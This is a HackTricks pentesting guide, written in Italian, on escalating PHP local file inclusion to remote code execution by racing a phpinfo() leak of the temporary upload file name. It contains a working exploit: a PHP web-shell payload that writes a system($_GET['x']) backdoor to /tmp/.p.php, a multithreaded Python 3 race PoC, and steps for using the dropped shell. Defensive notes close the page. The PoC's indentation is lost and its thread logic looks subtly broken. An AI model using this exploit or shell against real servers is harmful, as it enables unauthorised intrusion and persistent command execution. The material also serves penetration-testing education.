hacktricks/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md

7.9 KiB
Raw Blame History

LFI to RCE via PHPInfo

{{#include ../../banners/hacktricks-training.md}}

Per sfruttare questa tecnica hai bisogno di tutto quanto segue:

  • Una pagina raggiungibile che stampa l'output di phpinfo().
  • Una Local File Inclusion (LFI) primitive che controlli (es. include/require basati su input utente).
  • Gli upload di file in PHP abilitati (file_uploads = On). Qualsiasi script PHP accetta multipart uploads RFC1867 e crea un file temporaneo per ogni parte caricata.
  • Il worker PHP deve poter scrivere nella upload_tmp_dir configurata (o nella directory temporanea di sistema di default) e la tua LFI deve poter includere quel percorso.

Write-up classico e PoC originale:

  • Whitepaper: LFI with PHPInfo() Assistance (B. Moore, 2011)
  • Nome script PoC originale: phpinfolfi.py (vedi whitepaper e mirrors)

Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s

Note sul PoC originale

  • L'output di phpinfo() è codificato in HTML, quindi la freccia "=>" spesso appare come "=>". Se riutilizzi script legacy, assicurati che cerchino entrambe le codifiche quando analizzano il valore _FILES[tmp_name].
  • Devi adattare il payload (il tuo codice PHP), REQ1 (la request verso l'endpoint phpinfo() compreso il padding) e LFIREQ (la request verso il tuo sink LFI). Alcuni target non richiedono un terminatore null-byte (%00) e le versioni moderne di PHP non lo rispetteranno. Adatta di conseguenza LFIREQ allo sink vulnerabile.

Esempio sed (solo se usi davvero il vecchio PoC in Python2) per corrispondere alla freccia codificata in HTML:

sed -i 's/\[tmp_name\] =>/\[tmp_name\] =>/g' phpinfolfi.py

{{#file}} LFI-With-PHPInfo-Assistance.pdf {{#endfile}}

Teoria

  • Quando PHP riceve un POST multipart/form-data con un campo file, scrive il contenuto in un file temporaneo (upload_tmp_dir o il default del sistema operativo) ed espone il percorso in $_FILES['']['tmp_name']. Il file viene rimosso automaticamente alla fine della richiesta a meno che non venga spostato/rinominato.
  • Il trucco è scoprire il nome temporaneo e includerlo tramite il tuo LFI prima che PHP lo elimini. phpinfo() stampa $_FILES, incluso tmp_name.
  • Gonfiando gli header/parametri della richiesta (padding) puoi far sì che blocchi iniziali dell'output di phpinfo() vengano inviati al client prima che la richiesta finisca, così puoi leggere tmp_name mentre il file temporaneo esiste ancora e poi immediatamente richiamare l'LFI con quel percorso.

Su Windows i file temporanei si trovano comunemente in qualcosa come C:\Windows\Temp\php*.tmp. Su Linux/Unix di solito sono in /tmp o nella directory configurata in upload_tmp_dir.

Flusso d'attacco (passo dopo passo)

  1. Prepara un piccolo payload PHP che persista una shell rapidamente per evitare di perdere la race (scrivere un file è generalmente più veloce che aspettare una reverse shell):
<?php file_put_contents('/tmp/.p.php', '<?php system($_GET["x"]); ?>');
  1. Invia una grande POST multipart direttamente alla pagina phpinfo() in modo che venga creato un file temporaneo che contiene il tuo payload. Gonfia vari header/cookie/param con ~510KB di padding per favorire l'output anticipato. Assicurati che il nome del campo del form corrisponda a quello che parserai in $_FILES.

  2. Mentre la risposta di phpinfo() è ancora in streaming, analizza il corpo parziale per estrarre $_FILES['']['tmp_name'] (HTML-encoded). Non appena hai il percorso assoluto completo (es., /tmp/php3Fz9aB), esegui il tuo LFI per includere quel percorso. Se include() esegue il file temporaneo prima che venga cancellato, il tuo payload viene eseguito e deposita /tmp/.p.php.

  3. Usa il file creato: GET /vuln.php?include=/tmp/.p.php&x=id (o dove il tuo LFI ti permette di includerlo) per eseguire comandi in modo affidabile.

Suggerimenti

  • Usa più worker concorrenti per aumentare le probabilità di vincere la race.
  • Posizionamenti del padding che comunemente aiutano: URL parameter, Cookie, User-Agent, Accept-Language, Pragma. Adatta per il target.
  • Se il sink vulnerabile appende un'estensione (es., .php), non hai bisogno di un null byte; include() eseguirà PHP indipendentemente dall'estensione del file temporaneo.

PoC Python 3 minimale (basato su socket)

Lo snippet qui sotto si concentra sulle parti critiche ed è più facile da adattare rispetto allo script legacy Python2. Personalizza HOST, PHPSCRIPT (phpinfo endpoint), LFIPATH (path to the LFI sink), and PAYLOAD.

#!/usr/bin/env python3
import re, html, socket, threading

HOST = 'target.local'
PORT = 80
PHPSCRIPT = '/phpinfo.php'
LFIPATH = '/vuln.php?file=%s'  # sprintf-style where %s will be the tmp path
THREADS = 10

PAYLOAD = (
"<?php file_put_contents('/tmp/.p.php', '<?php system($_GET[\\"x\\"]); ?>'); ?>\r\n"
)
BOUND = '---------------------------7dbff1ded0714'
PADDING = 'A' * 6000
REQ1_DATA = (f"{BOUND}\r\n"
f"Content-Disposition: form-data; name=\"f\"; filename=\"a.txt\"\r\n"
f"Content-Type: text/plain\r\n\r\n{PAYLOAD}{BOUND}--\r\n")

REQ1 = (f"POST {PHPSCRIPT}?a={PADDING} HTTP/1.1\r\n"
f"Host: {HOST}\r\nCookie: sid={PADDING}; o={PADDING}\r\n"
f"User-Agent: {PADDING}\r\nAccept-Language: {PADDING}\r\nPragma: {PADDING}\r\n"
f"Content-Type: multipart/form-data; boundary={BOUND}\r\n"
f"Content-Length: {len(REQ1_DATA)}\r\n\r\n{REQ1_DATA}")

LFI = ("GET " + LFIPATH + " HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n")

pat = re.compile(r"\\[tmp_name\\]\\s*=&gt;\\s*([^\\s<]+)")


def race_once():
s1 = socket.socket()
s2 = socket.socket()
s1.connect((HOST, PORT))
s2.connect((HOST, PORT))
s1.sendall(REQ1.encode())
buf = b''
tmp = None
while True:
chunk = s1.recv(4096)
if not chunk:
break
buf += chunk
m = pat.search(html.unescape(buf.decode(errors='ignore')))
if m:
tmp = m.group(1)
break
ok = False
if tmp:
req = (LFI % tmp).encode() % HOST.encode()
s2.sendall(req)
r = s2.recv(4096)
ok = b'.p.php' in r or b'HTTP/1.1 200' in r
s1.close(); s2.close()
return ok

if __name__ == '__main__':
hit = False
def worker():
nonlocal_hit = False
while not hit and not nonlocal_hit:
nonlocal_hit = race_once()
if nonlocal_hit:
print('[+] Won the race, payload dropped as /tmp/.p.php')
exit(0)
ts = [threading.Thread(target=worker) for _ in range(THREADS)]
[t.start() for t in ts]
[t.join() for t in ts]

Risoluzione dei problemi

  • Non vedi mai tmp_name: assicurati di inviare effettivamente una POST multipart/form-data a phpinfo(). phpinfo() stampa $_FILES solo quando è presente un campo di upload.
  • L'output non viene inviato (flush) precocemente: aumenta il padding, aggiungi header più grandi o invia più richieste concorrenti. Alcuni SAPIs/buffer non svuotano l'output fino a soglie maggiori; regolati di conseguenza.
  • Percorso LFI bloccato da open_basedir o chroot: devi puntare l'LFI a un percorso consentito o passare a un diverso vettore LFI2RCE.
  • Directory temporanea non /tmp: phpinfo() stampa il percorso tmp_name assoluto completo; usa esattamente quel percorso nell'LFI.

Note difensive

  • Non esporre mai phpinfo() in produzione. Se necessario, limitarne l'accesso per IP/autenticazione e rimuoverlo dopo l'uso.
  • Mantieni file_uploads disabilitato se non necessario. Altrimenti, limita upload_tmp_dir a un percorso non raggiungibile tramite include() nell'applicazione e applica una validazione rigorosa su qualsiasi percorso include/require.
  • Considera qualsiasi LFI critico; anche senza phpinfo(), esistono altri percorsi LFI→RCE.

Tecniche HackTricks correlate

{{#ref}} lfi2rce-via-temp-file-uploads.md {{#endref}}

{{#ref}} via-php_session_upload_progress.md {{#endref}}

{{#ref}} lfi2rce-via-nginx-temp-files.md {{#endref}}

{{#ref}} lfi2rce-via-eternal-waiting.md {{#endref}}

Riferimenti